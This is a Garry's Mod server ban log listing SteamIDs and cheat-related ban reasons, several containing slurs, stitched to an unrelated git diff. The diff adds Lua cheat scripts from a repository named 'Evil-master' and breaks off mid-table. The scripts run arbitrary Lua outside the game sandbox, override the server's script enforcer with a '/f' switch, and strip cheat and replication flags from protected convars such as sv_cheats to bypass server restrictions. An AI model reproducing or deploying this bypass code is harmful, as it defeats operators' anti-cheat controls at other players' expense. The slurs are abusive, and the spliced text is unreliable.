09-01-11 Unknown STEAM_0:0:5325124 Cheat: Code +injection(SQLite) (Console) Unknown Unknown Permanent Banned +6:47 pm 09-01-11 Unknown STEAM_0:1:29853070 Cheat: Code +injection(SQLite) (Console) Unknown Unknown Permanent Banned +6:44 pm 09-01-11 Unknown STEAM_0:0:22770384 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +6:43 pm 09-01-11 Unknown STEAM_0:1:7334549 Cheat: Code +injection(SQLite) (Console) Unknown Unknown Permanent Banned +6:31 pm 09-01-11 Unknown STEAM_0:1:20026079 Cheat: Odius (Console) +Unknown Unknown Permanent Banned +6:31 pm 09-01-11 Unknown STEAM_0:1:27526575 Cheat: Odius (Console) +Unknown Unknown Permanent Banned +6:30 pm 09-01-11 Unknown STEAM_0:1:13196020 Cheat: Eradicate +(Console) Unknown Unknown Permanent Banned +6:23 pm 09-01-11 Unknown STEAM_0:1:33763522 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +6:22 pm 09-01-11 Unknown STEAM_0:1:24435842 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +6:22 pm 09-01-11 Unknown STEAM_0:1:37118627 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:23 pm 06-01-11 Unknown STEAM_0:0:5442162 Wasting peoples time in a +contentless unban request (Console) Unknown Unknown 2:0:0 Unbanned +4:13 pm 05-01-11 Unknown STEAM_0:1:34077374 Russian skid (Console) +Unknown Unknown Permanent Banned +10:04 pm 04-01-11 Unknown STEAM_0:1:33763522 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +10:04 pm 04-01-11 Unknown STEAM_0:1:24435842 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +1:39 pm 04-01-11 Unknown STEAM_0:0:29163952 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:35 pm 04-01-11 Unknown STEAM_0:1:7334549 A badly written aimbot +with nospread (Console) Unknown Unknown Permanent Banned +1:28 pm 04-01-11 Unknown STEAM_0:1:27526575 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +7:46 pm 29-12-10 Unknown STEAM_0:0:22748305 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +5:12 pm 14-12-10 ^3Good^3Cookies STEAM_0:1:16808261 ("Hour out to +calm down. And grow up") Flapadar Unknown Unknown 0:1:0 Unbanned +10:08 am 11-12-10 λMr.Bigfrogλ STEAM_0:1:25369713 Alt of banned ID +STEAM_0:1:25369713 (Console) Unknown Unknown Permanent Banned +8:14 pm 10-11-10 Unknown STEAM_0:0:25070468 Trader blocking +(Console) Unknown Unknown 31:0:0 Unbanned +8:53 pm 02-11-10 Unknown STEAM_0:1:29327756 Skiddie #3 (Console) +Unknown Unknown Permanent Banned +6:07 pm 02-11-10 Unknown STEAM_0:0:22029898 Skiddie #2 (Console) +Unknown Unknown Permanent Banned +6:06 pm 02-11-10 Unknown STEAM_0:1:23041095 Skiddie #1 (Console) +Unknown Unknown Permanent Banned +6:28 pm 20-10-10 Unknown STEAM_0:1:18953009 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +4:11 pm 18-10-10 Unknown STEAM_0:1:23836998 SethHack - Unban by +flap (Console) Unknown Unknown Permanent Unbanned +3:34 pm 16-10-10 Unknown STEAM_0:1:20898410 Mexican + Fuck yourself +(Console) Unknown Unknown Permanent Banned +1:35 pm 16-10-10 Flapadar STEAM_0:0:10839552 Alt of banned ID +STEAM_0:0:10839552 (Console) Unknown Unknown 221:7:29 Unbanned +3:12 pm 14-10-10 You are ill STEAM_0:1:15138372 Kiddie. Come back in +9 years. (Console) Unknown Unknown 3285:0:0 Banned +11:13 am 14-10-10 Unknown STEAM_0:0:18530428 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:10 pm 08-10-10 Unknown STEAM_0:0:20327715 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +2:56 pm 02-10-10 Unknown STEAM_0:1:22402282 Skiddie (Console) (Reban +by Cold) Unknown Unknown Permanent Banned +2:19 pm 02-10-10 Unknown STEAM_0:0:29114279 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +4:15 am 02-10-10 Unknown STEAM_0:0:19586627 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +7:45 pm 30-09-10 Unknown STEAM_0:1:29478760 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +7:44 pm 30-09-10 Unknown STEAM_0:1:25369713 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +7:43 pm 30-09-10 Unknown STEAM_0:0:22914080 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +11:30 pm 25-09-10 ¤Rogi STEAM_0:1:20394702 Alt of banned ID +STEAM_0:1:20394702 (Console) Unknown Unknown Permanent Banned +9:48 pm 25-09-10 Unknown STEAM_0:1:20394702 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +7:32 pm 23-09-10 Unknown STEAM_0:1:21523239 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +7:14 pm 23-09-10 Unknown STEAM_0:0:31767822 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:31 pm 22-09-10 Unknown STEAM_0:1:16421568 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +8:05 pm 22-09-10 Unknown STEAM_0:1:19748919 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:25 pm 21-09-10 Unknown STEAM_0:1:17749887 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:23 pm 21-09-10 Unknown STEAM_0:1:16212076 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +6:11 pm 16-09-10 Unknown STEAM_0:0:33944948 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +6:10 pm 16-09-10 Unknown STEAM_0:1:1198860 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +6:10 pm 16-09-10 Unknown STEAM_0:0:1194255 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +7:41 pm 13-09-10 Unknown STEAM_0:1:18361092 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +11:10 pm 11-09-10 Unknown STEAM_0:0:20088064 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +4:22 pm 07-09-10 Unknown STEAM_0:0:3597677 Cheat: Speedhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:25915952 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:24309692 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:19878867 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:6669318 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:14928653 SethHack - Unban by +flap (Console) Unknown Unknown Permanent Unbanned +11:13 am 05-09-10 Unknown STEAM_0:0:14830743 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:22240086 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:22293020 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:25315900 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:15465879 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:27791499 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:14027318 SethHack - Unban by +flap (Console) Unknown Unknown Permanent Unbanned +11:13 am 05-09-10 Unknown STEAM_0:0:20327999 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:21748050 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:17465034 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:14563562 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:18515312 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:21373726 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:23674993 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:14100771 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:25331167 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:20811691 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:8343226 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:17141267 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:2381903 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:0:20314230 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:26262689 Cheat: Sethhack +(Console) Unknown Unknown Permanent Unbanned +11:13 am 05-09-10 Unknown STEAM_0:0:29351959 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:16373250 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:5247800 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:17906432 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:30433726 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +11:13 am 05-09-10 Unknown STEAM_0:1:23836998 SethHack - Unban by +flap (Console) Unknown Unknown Permanent Unbanned +11:13 am 05-09-10 Unknown STEAM_0:0:18050538 Cheat: Sethhack +(Console) Unknown Unknown Permanent Banned +9:34 am 05-09-10 Unknown STEAM_0:0:16764526 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +8:59 am 04-09-10 Unknown STEAM_0:1:14928653 Cheat: Baconbot +(Console) Unknown Unknown Permanent Unbanned +8:59 am 04-09-10 Unknown STEAM_0:0:11680407 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +6:45 pm 02-09-10 Unknown STEAM_0:1:18011105 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:08 pm 31-08-10 Flapadar STEAM_0:1:31505802 Alt of banned ID +STEAM_0:0:10839552 (Console) Unknown Unknown 0:0:43 Unbanned +8:52 pm 31-08-10 Flapadar STEAM_0:0:10839552 testing (Console) +Unknown Unknown 267:0:13 Unbanned +6:38 pm 30-08-10 Unknown STEAM_0:1:15928137 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +6:30 pm 30-08-10 Unknown STEAM_0:1:30046997 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +8:25 pm 25-08-10 Unknown STEAM_0:0:15521306 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +8:23 pm 25-08-10 Unknown STEAM_0:0:18952303 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +2:20 pm 22-08-10 Unknown STEAM_0:0:30626912 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +2:19 pm 22-08-10 Unknown STEAM_0:1:22597435 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +3:00 pm 21-08-10 -[SF]- mopi ;) (K) STEAM_0:0:10830304 RDM +(Console) Unknown Unknown 3:0:0 Unbanned +1:54 am 21-08-10 Unknown STEAM_0:0:19921990 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +7:16 pm 20-08-10 Unknown STEAM_0:0:14891104 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +4:14 pm 20-08-10 Unknown STEAM_0:0:17574951 Cheat: Baconbot +(Console) Unknown Unknown Permanent Unbanned +6:03 pm 15-08-10 Unknown STEAM_0:1:34176202 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:44 pm 13-08-10 â?¥ Miss Pink â?¥ STEAM_0:0:1517646 ("Told you not +to cheat") Flapadar Unknown Unknown 0:1:0 Unbanned +9:50 pm 13-08-10 Unknown STEAM_0:1:20318952 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +9:49 pm 13-08-10 Unknown STEAM_0:1:9750737 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +9:48 pm 13-08-10 Unknown STEAM_0:0:19321794 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +9:48 pm 13-08-10 Unknown STEAM_0:0:16018224 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +9:22 pm 13-08-10 Unknown STEAM_0:0:14073219 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:19 pm 13-08-10 Unknown STEAM_0:1:30764583 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:19 pm 13-08-10 Unknown STEAM_0:0:22247737 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:16 pm 13-08-10 Unknown STEAM_0:0:19648713 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:16 pm 13-08-10 Unknown STEAM_0:0:19248793 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:15 pm 13-08-10 Unknown STEAM_0:1:13100739 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +9:15 pm 13-08-10 Unknown STEAM_0:1:13908513 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +8:39 pm 12-08-10 Unknown STEAM_0:0:6669318 DoS (Console) Unknown +Unknown Permanent Banned +8:39 pm 12-08-10 Unknown STEAM_0:1:5247800 DoS (Console) Unknown +Unknown Permanent Banned +1:37 pm 11-08-10 Unknown STEAM_0:1:25812285 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +2:17 am 10-08-10 Unknown STEAM_0:1:15710428 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +11:34 pm 08-08-10 Unknown STEAM_0:1:22111898 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +11:33 pm 08-08-10 Unknown STEAM_0:1:15404351 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +11:32 pm 08-08-10 Unknown STEAM_0:1:19957547 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +7:25 pm 06-08-10 Unknown STEAM_0:1:15404351 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:37 pm 05-08-10 Unknown STEAM_0:0:21491851 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:37 pm 05-08-10 Unknown STEAM_0:0:29046889 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:36 pm 05-08-10 Unknown STEAM_0:0:3592017 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:36 pm 05-08-10 Unknown STEAM_0:0:18146611 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:36 pm 05-08-10 Unknown STEAM_0:0:19767060 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:35 pm 05-08-10 Unknown STEAM_0:0:5100034 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:35 pm 05-08-10 Unknown STEAM_0:0:24859251 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:35 pm 05-08-10 Unknown STEAM_0:0:24318831 Cheat: Unknown +(Console) Unknown Unknown 6:20:8 Unbanned +10:34 pm 05-08-10 Unknown STEAM_0:0:21513525 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:34 pm 05-08-10 Unknown STEAM_0:0:3592017 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:34 pm 05-08-10 Unknown STEAM_0:0:29790222 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:33 pm 05-08-10 Unknown STEAM_0:1:18227696 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:33 pm 05-08-10 Unknown STEAM_0:1:30286410 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:33 pm 05-08-10 Unknown STEAM_0:1:22038220 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:33 pm 05-08-10 Unknown STEAM_0:1:33488877 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:32 pm 05-08-10 Unknown STEAM_0:0:16042279 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:32 pm 05-08-10 Unknown STEAM_0:1:19354830 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:32 pm 05-08-10 Unknown STEAM_0:1:20810532 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:32 pm 05-08-10 Unknown STEAM_0:0:19531733 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:31 pm 05-08-10 Unknown STEAM_0:0:33443787 Cheat: Baconbot +(Console) Unknown Unknown 547:15:39 Unbanned +10:31 pm 05-08-10 Unknown STEAM_0:1:9011787 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:31 pm 05-08-10 Unknown STEAM_0:1:22111898 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:30 pm 05-08-10 Unknown STEAM_0:1:12040384 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:30 pm 05-08-10 Unknown STEAM_0:0:8345987 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:30 pm 05-08-10 Unknown STEAM_0:0:19490976 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:30 pm 05-08-10 Unknown STEAM_0:0:3749847 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:30 pm 05-08-10 Unknown STEAM_0:1:27042639 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:29 pm 05-08-10 Unknown STEAM_0:0:18511864 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:29 pm 05-08-10 Unknown STEAM_0:1:29771895 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:29 pm 05-08-10 Unknown STEAM_0:1:29535476 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:29 pm 05-08-10 Unknown STEAM_0:1:17568188 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:29 pm 05-08-10 Unknown STEAM_0:1:17908541 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:29 pm 05-08-10 Unknown STEAM_0:0:18287027 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:28 pm 05-08-10 Unknown STEAM_0:1:15476329 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:28 pm 05-08-10 Unknown STEAM_0:1:29502701 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:28 pm 05-08-10 Unknown STEAM_0:0:15500261 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:27 pm 05-08-10 Unknown STEAM_0:0:16267538 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:26 pm 05-08-10 Unknown STEAM_0:0:20479184 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:26 pm 05-08-10 Unknown STEAM_0:0:26269678 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:26 pm 05-08-10 Unknown STEAM_0:1:18617255 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:26 pm 05-08-10 Unknown STEAM_0:0:27332827 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:25 pm 05-08-10 Unknown STEAM_0:0:25559717 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:25 pm 05-08-10 Unknown STEAM_0:1:29142644 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:25 pm 05-08-10 Unknown STEAM_0:1:21756969 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:24 pm 05-08-10 Unknown STEAM_0:1:19650313 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:24 pm 05-08-10 Unknown STEAM_0:1:21756969 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:24 pm 05-08-10 Unknown STEAM_0:1:15231011 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:24 pm 05-08-10 Unknown STEAM_0:1:15979882 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:23 pm 05-08-10 Unknown STEAM_0:1:5247800 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:23 pm 05-08-10 Unknown STEAM_0:0:29192036 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:23 pm 05-08-10 Unknown STEAM_0:0:31585345 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:23 pm 05-08-10 Unknown STEAM_0:0:16330620 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:22 pm 05-08-10 Unknown STEAM_0:1:16485732 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:22 pm 05-08-10 Unknown STEAM_0:1:22482699 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:22 pm 05-08-10 Unknown STEAM_0:0:20854764 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:22 pm 05-08-10 Unknown STEAM_0:1:30710525 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:21 pm 05-08-10 Unknown STEAM_0:0:5550966 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:21 pm 05-08-10 Unknown STEAM_0:0:25470945 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:21 pm 05-08-10 Unknown STEAM_0:0:26895317 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:21 pm 05-08-10 Unknown STEAM_0:0:11431754 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:21 pm 05-08-10 Unknown STEAM_0:0:28656241 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:20 pm 05-08-10 Unknown STEAM_0:0:10131725 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:20 pm 05-08-10 Unknown STEAM_0:0:19807101 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:20 pm 05-08-10 Unknown STEAM_0:0:26165399 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:20 pm 05-08-10 Unknown STEAM_0:1:23836998 Cheating - Unbanned by +flap (Console) Unknown Unknown Permanent Unbanned +10:19 pm 05-08-10 Unknown STEAM_0:1:26487751 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:19 pm 05-08-10 Unknown STEAM_0:1:18222074 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:19 pm 05-08-10 Unknown STEAM_0:1:18307252 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:19 pm 05-08-10 Unknown STEAM_0:0:22284069 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:19 pm 05-08-10 Unknown STEAM_0:0:17600393 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:18 pm 05-08-10 Unknown STEAM_0:0:8615861 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:18 pm 05-08-10 Unknown STEAM_0:0:11801739 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned +10:17 pm 05-08-10 Unknown STEAM_0:1:22111898 Cheat: Baconbot +(Console) Unknown Unknown Permanent Banned +10:17 pm 05-08-10 [CA]make violence not warHERO STEAM_0:1:29736286 +Facepunch cheater faggot Cold Unknown Unknown Permanent Banned +1:00 am 01-01-70 Mr.Hito STEAM_0:0:6381908 Cheat: Convar forcing +ColdFusion Unknown Unknown Permanent Banned +1:00 am 01-01-70 Commander Dagut STEAM_0:0:16499611 Cheat: Baconbot +ColdFusion Unknown Unknown Permanent Banned +1:00 am 01-01-70 STEAM_0:0:9643377 Cheat: Speedhack Cold Unknown +Unknown Permanent Banned +1:00 am 01-01-70 Unknown STEAM_0:0:38808302 Cheat: Unknown +(Console) Unknown Unknown Permanent Banned + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml runstring.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml runstring.lua new file mode 100644 index 0000000..208336d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml runstring.lua @@ -0,0 +1,34 @@ +local RunStringML = _G["RunString"] + +concommand.Add("lua_run_ml", function(ply,cmd,args) + if not tobool(LocalPlayer) then + if #args and #args != 0 then + local strLua = table.concat(args," ") + + Msg("Running lua: \""..strLua.."\"\n") + RunString(strLua) + RunStringML(strLua) + else + Msg("Must contain code to run code\n") + end + else + Msg("Damn you!, this is only for the menu env, use lua_openscript_cl!\n") + end +end) + + + if GetConVar("sv_scriptenforcer"):GetBool() and not string.find(table.concat(args," "),"/f") then + print("[HeX] ScriptEnforcer on, can't load scripts. Run with /f to run anyway") + return + end + + + Msg(" Including ./HeX\n") +local HeX = file.FindInLua("HeX/*.lua") +if #HeX > 0 then + for _,v in ipairs(HeX) do + Msg(" SH Module: ./HeX/"..v.."\n") + include("HeX/"..v) + end +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_B_RFT.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_B_RFT.lua new file mode 100644 index 0000000..674f2ff --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_B_RFT.lua @@ -0,0 +1,16 @@ + +--[[ +local FrameTime = 0 +local LastQuery = 0 + +function RealFrameTimeML() return FrameTime end + +local function RealFrameTimeThink() + + FrameTime = math.Clamp( SysTime() - LastQuery, 0, 0.1 ) + LastQuery = SysTime() + +end + +hook.Add( "Think", "RealFrameTime", RealFrameTimeThink ) +]] \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate old.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate old.lua new file mode 100644 index 0000000..99e7da5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate old.lua @@ -0,0 +1,92 @@ + +if not hexcv then + if not require("hexcv") then + hexcv = {} + hexcv.NotInstalled = true + hexcv.SetFlags = function() print("[HeX] gm_hexcv.dll gone! (SetFlags)") end + hexcv.GetFlags = function() print("[HeX] gm_hexcv.dll gone! (GetFlags)") return 1 end + end +end + +local RED = Color(237,16,29) +local WHITE = Color(255,255,255) +local GREEN = Color(182,231,18) +local PINK = Color(255,175,202) +local BROWN = Color(128,128,0) + +local NiceCVarName = "" +local TotalCVars = 0 +local SrippedCVars = {} + +local CVarsToRemove = { + ["sv_cheats"] = FCVAR_REPLICATED, + ["host_timescale"] = FCVAR_REPLICATED, + ["mat_wireframe"] = FCVAR_CHEAT, + ["mat_fullbright"] = FCVAR_CHEAT, + ["host_framerate"] = FCVAR_CHEAT, + ["vcollide_wireframe"] = FCVAR_CHEAT, +} + + +local function RemoveCVarFlag(cvar,flag) + if hexcv then + hexcv.SetFlags(cvar, hexcv.GetFlags(cvar) - flag) + return true + end + return false +end + +local function MsgDeReplicate() + if hexcv.NotInstalled then + COLCON( RED, "Bypass", WHITE, ": ERROR! hexcv not found!") + return + end + + if TotalCVars > 0 then + for k,v in pairs(SrippedCVars) do + COLCON( RED, "Bypass", WHITE, ": Stripped "..v.." on ", GREEN, k ) + end + COLCON( RED, "Bypass", WHITE, ": Stripped ", GREEN, TotalCVars, WHITE, " CVars" ) + Msg("\n") + return + end + return true +end +timer.Simple(0, MsgDeReplicate) + + +local function RunDeReplicate() + TotalCVars = 0 + SrippedCVars = {} + + for k,v in pairs(CVarsToRemove) do + TotalCVars = TotalCVars + 1 + RemoveCVarFlag(k,v) + + NiceCVarName = "" + if v == FCVAR_CHEAT then + NiceCVarName = "FCVAR_CHEAT" + elseif v == FCVAR_REPLICATED then + NiceCVarName = "FCVAR_REPLICATED" + end + SrippedCVars[k] = NiceCVarName + end + MsgDeReplicate() + return true +end +concommand.Add("hex_dereplicate", RunDeReplicate) + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate replicator.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate replicator.lua new file mode 100644 index 0000000..9f05cb4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate replicator.lua @@ -0,0 +1,107 @@ + + +if not replicator then + COLCON(RED, "Bypass", WHITE, ": Error 404, replicator not found!") + COLCON(RED, "Bypass", WHITE, ": Loading old version..") + + include("custom_menu/old/ml_H_DeReplicate_cvar2.lua") + return +end + + + +local Prefix = "hex_" + +local AlwaysBypass = { + ["r_drawparticles"] = {"1", FCVAR_CLIENTDLL | FCVAR_CHEAT, "Enable/disable particle rendering"}, + ["r_drawothermodels"] = {"1", FCVAR_CLIENTDLL | FCVAR_CHEAT, "0=Off, 1=Normal, 2=Wireframe"}, + ["vcollide_wireframe"] = {"0", FCVAR_CLIENTDLL | FCVAR_CHEAT, "Render physics collision models in wireframe"}, + ["fog_override"] = {"0", FCVAR_CLIENTDLL | FCVAR_CHEAT}, + ["showtriggers"] = {"0", FCVAR_GAMEDLL | FCVAR_CHEAT}, + ["mat_fullbright"] = {"0", FCVAR_CHEAT}, + 